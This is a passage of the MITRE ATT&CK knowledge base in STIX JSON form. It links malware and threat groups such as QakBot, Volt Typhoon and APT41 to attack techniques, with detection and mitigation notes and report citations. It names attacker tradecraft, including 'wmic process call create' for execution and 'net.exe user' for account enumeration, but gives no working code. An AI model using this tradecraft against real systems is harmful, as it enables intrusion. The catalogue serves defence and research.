2014)","relationship_type":"uses","source_ref":"malware--a8a778f5-0035-4870-bb25-53dc05029586","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e9011839-ca57-434d-a0cc-007594247110","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Felismus Mar 2017","description":"Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.","url":"https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"}],"modified":"2020-03-17T01:16:15.749Z","description":"[Felismus](https://attack.mitre.org/software/S0171) can download files from remote servers.(Citation: Forcepoint Felismus Mar 2017)","relationship_type":"uses","source_ref":"malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e901a6ec-1cf6-4f13-aa2b-d2f997170a66","created":"2023-12-21T21:43:01.857Z","revoked":false,"external_references":[{"source_name":"Sygnia Emperor Dragonfly October 2022","description":"Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.","url":"https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-21T21:43:01.857Z","description":"[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has created system services to establish persistence for deployed tooling.(Citation: Sygnia Emperor Dragonfly October 2022)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e902bcf6-4456-410a-a765-1cebc08d2f65","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor for files being accessed to exfiltrate data to a code repository rather than over their primary command and control channel.","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e90717f3-fad2-4978-be15-7dfb647d034d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Rover","description":"Ray, V., Hayashi, K. (2016, February 29). New Malware ‘Rover’ Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"}],"modified":"2020-03-16T17:46:07.875Z","description":"[Rover](https://attack.mitre.org/software/S0090) automatically searches for files on local drives based on a predefined list of file extensions.(Citation: Palo Alto Rover)","relationship_type":"uses","source_ref":"malware--6b616fc1-1505-48e3-8b2c-0d19337bff38","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e90de84d-a394-4797-834a-12e5849b9e68","type":"relationship","created":"2021-08-10T14:13:03.025Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike MUSTANG PANDA June 2018","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/","description":"Meyers, A. (2018, June 15). Meet CrowdStrike’s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021."},{"source_name":"Anomali MUSTANG PANDA October 2019","url":"https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations","description":"Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."}],"modified":"2021-08-10T14:13:03.025Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has used an additional filename extension to hide the true file type.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e9113d90-4c55-465a-88c6-b58c40b46f96","created":"2022-06-10T20:15:45.422Z","x_mitre_version":"0.1","external_references":[{"source_name":"Accenture Lyceum Targets November 2021","url":"https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns","description":"Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022."},{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Shark](https://attack.mitre.org/software/S1019) can use DNS in C2 communications.(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 2021)","modified":"2022-06-16T14:10:35.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--99854cc8-f202-4e03-aa0a-4f8a4af93229","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e916a806-da3c-4eed-9b25-6ba47a12957f","created":"2022-05-31T21:53:53.155Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T16:38:03.494Z","description":"Monitor for unusual/suspicious driver activity, especially regarding EDR and drivers associated with security tools as well as those that may be abused to disable security products.","relationship_type":"detects","source_ref":"x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e916bd35-cd90-4c1f-b600-aedffbf4de3c","type":"relationship","created":"2021-09-27T20:35:06.507Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Qakbot May 2020","url":"https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files","description":"Mendoza, E. et al. (2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021."},{"source_name":"Kroll Qakbot June 2020","url":"https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks","description":"Sette, N. et al. (2020, June 4). Qakbot Malware Now Exfiltrating Emails for Sophisticated Thread Hijacking Attacks. Retrieved September 27, 2021."},{"source_name":"Crowdstrike Qakbot October 2020","url":"https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/","description":"CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021."},{"source_name":"Trend Micro Qakbot December 2020","url":"https://success.trendmicro.com/solution/000283381","description":"Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved September 27, 2021."},{"source_name":"Red Canary Qbot","url":"https://redcanary.com/threat-detection-report/threats/qbot/","description":"Rainey, K. (n.d.). Qbot. Retrieved September 27, 2021."},{"source_name":"Cyberint Qakbot May 2021","url":"https://blog.cyberint.com/qakbot-banking-trojan","description":"Cyberint. (2021, May 25). Qakbot Banking Trojan. Retrieved September 27, 2021."},{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."},{"source_name":"Group IB Ransomware September 2020","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021."}],"modified":"2021-09-30T15:45:57.483Z","description":"[QakBot](https://attack.mitre.org/software/S0650) has the ability to create scheduled tasks for persistence.(Citation: Trend Micro Qakbot May 2020)(Citation: Kroll Qakbot June 2020)(Citation: Crowdstrike Qakbot October 2020)(Citation: Trend Micro Qakbot December 2020)(Citation: Red Canary Qbot)(Citation: Cyberint Qakbot May 2021)(Citation: Kaspersky QakBot September 2021)(Citation: Group IB Ransomware September 2020)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e91aa008-ba7d-4dc0-96da-c2e60969e4da","created":"2024-05-21T17:52:08.088Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-21T17:52:08.088Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has obtained the victim's system current location.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e91c647e-7076-4290-b7c4-017822fdfd59","type":"relationship","created":"2021-09-22T21:17:31.982Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SMOKEDHAM June 2021","url":"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html","description":"FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021."}],"modified":"2021-09-23T13:29:34.251Z","description":"[SMOKEDHAM](https://attack.mitre.org/software/S0649) has used net.exe user and net.exe users to enumerate local accounts on a compromised host.(Citation: FireEye SMOKEDHAM June 2021)","relationship_type":"uses","source_ref":"malware--7e0f8b0f-716e-494d-827e-310bd6ed709e","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e91ec241-b329-4488-ac65-442992f84fb5","created":"2020-08-31T14:56:42.393Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Valak June 2020","description":"Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. Retrieved August 31, 2020.","url":"https://assets.sentinelone.com/labs/sentinel-one-valak-i"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:35:19.735Z","description":"[Valak](https://attack.mitre.org/software/S0476) can use wmic process call create in a scheduled task to launch plugins and for execution.(Citation: SentinelOne Valak June 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e922f65f-67ea-4df9-8b88-463d89b9120b","created":"2024-04-10T22:30:13.118Z","revoked":false,"external_references":[{"source_name":"S2 Grupo TrickBot June 2017","description":"Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.","url":"https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T22:30:13.118Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) uses an AES CBC (256 bits) encryption algorithm for its loader and configuration files.(Citation: S2 Grupo TrickBot June 2017)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e923fe9c-ccae-4d5a-a85c-89b398ee1ed5","created":"2024-02-06T16:20:42.323Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-06T16:20:42.323Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--e6f19759-dde3-47fc-99cc-d9f5fa4ade60","target_ref":"attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e9249ab2-eeee-4984-9ee2-78ff52335077","created":"2023-01-26T16:23:35.401Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-26T16:23:35.401Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) hex-encoded PII data prior to exfiltration.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e925337d-e878-48ad-a53c-3a3f4656849e","created":"2021-01-22T19:53:33.345Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.431Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has registered alternate phone numbers for compromised users to intercept 2FA codes sent via SMS.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e9267a72-00d7-438b-8c41-af72021e89d0","created":"2019-01-31T02:01:45.663Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Hacking FIN4 Video Dec 2014","description":"Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.","url":"https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html"},{"source_name":"FireEye Hacking FIN4 Dec 2014","description":"Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-fin4.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-01T21:27:44.797Z","description":"[FIN4](https://attack.mitre.org/groups/G0085) has accessed and hijacked online email communications using stolen credentials.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)","relationship_type":"uses","source_ref":"intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e92c4fd7-eb92-4255-80c3-abaa9262845f","type":"relationship","created":"2020-02-12T18:57:36.126Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-12T18:57:36.126Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e93059c7-2f60-47f5-af11-bc0a6e7e6d25","type":"relationship","created":"2021-07-20T02:42:50.494Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2022-03-27T13:51:59.227Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent [Visual Basic](https://attack.mitre.org/techniques/T1059/005) and [JavaScript](https://attack.mitre.org/techniques/T1059/007) scripts from executing potentially malicious downloaded content (Citation: win10_asr).","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e9342a76-171e-4831-96b7-d998a6de8282","type":"relationship","created":"2020-09-23T16:08:44.294Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.540Z","description":"[PolyglotDuke](https://attack.mitre.org/software/S0518) can use steganography to hide C2 information in images.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--3d57dcc4-be99-4613-9482-d5218f5ec13e","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e936d8c6-f069-49b1-8d4e-9ecafab2a576","type":"relationship","created":"2019-01-30T17:43:28.285Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.","url":"https://securelist.com/darkhotels-attacks-in-2015/71713/","source_name":"Securelist Darkhotel Aug 2015"},{"source_name":"Microsoft DUBNIUM July 2016","url":"https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/","description":"Microsoft. (2016, July 14). Reverse engineering DUBNIUM – Stage 2 payload analysis . Retrieved March 31, 2021."}],"modified":"2021-04-22T14:35:25.326Z","description":"[Darkhotel](https://attack.mitre.org/groups/G0012) has sent spearphishing emails in an attempt to lure users into clicking on a malicious attachments.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM July 2016)","relationship_type":"uses","source_ref":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e9375a8c-4574-40a9-a3c2-a9fe036928a6","type":"relationship","created":"2021-09-28T19:47:10.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-11T18:39:18.080Z","description":"[Ferocious Kitten](https://attack.mitre.org/groups/G0137) has acquired domains imitating legitimate sites.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--6566aac9-dad8-4332-ae73-20c23bad7f02","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e93a3bf7-2ca4-42ed-872a-f9f0f8458936","type":"relationship","created":"2020-06-22T20:15:32.190Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Holmium June 2020","url":"https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/","description":"Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."}],"modified":"2020-06-29T15:02:31.591Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has used compromised Office 365 accounts in tandem with [Ruler](https://attack.mitre.org/software/S0358) in an attempt to gain control of endpoints.(Citation: Microsoft Holmium June 2020)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e93adad0-cfbb-4ef8-bb56-68dc46d8b568","type":"relationship","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.861Z","description":"Monitor for newly executed processes that may execute their own malicious payloads by hijacking vulnerable file path references.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e93c8f61-b2c9-4877-8c2c-12bd37aa5a87","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","source_name":"FireEye MuddyWater Mar 2018"},{"source_name":"TrendMicro POWERSTATS V3 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}],"modified":"2020-05-18T19:37:52.430Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) can retrieve screenshots from compromised hosts.(Citation: FireEye MuddyWater Mar 2018)(Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e93e4ac1-090d-4081-8cb5-9af71e807fd3","type":"relationship","created":"2020-08-13T14:05:44.473Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}],"modified":"2020-08-13T14:05:44.473Z","description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) can communicate with C2 via HTTP POST requests.(Citation: Secureworks Karagany July 2019)","relationship_type":"uses","source_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e9404ebb-fce5-4596-b0f1-7f8a61578b32","created":"2019-01-29T19:09:26.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PaloAlto UBoatRAT Nov 2017","description":"Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 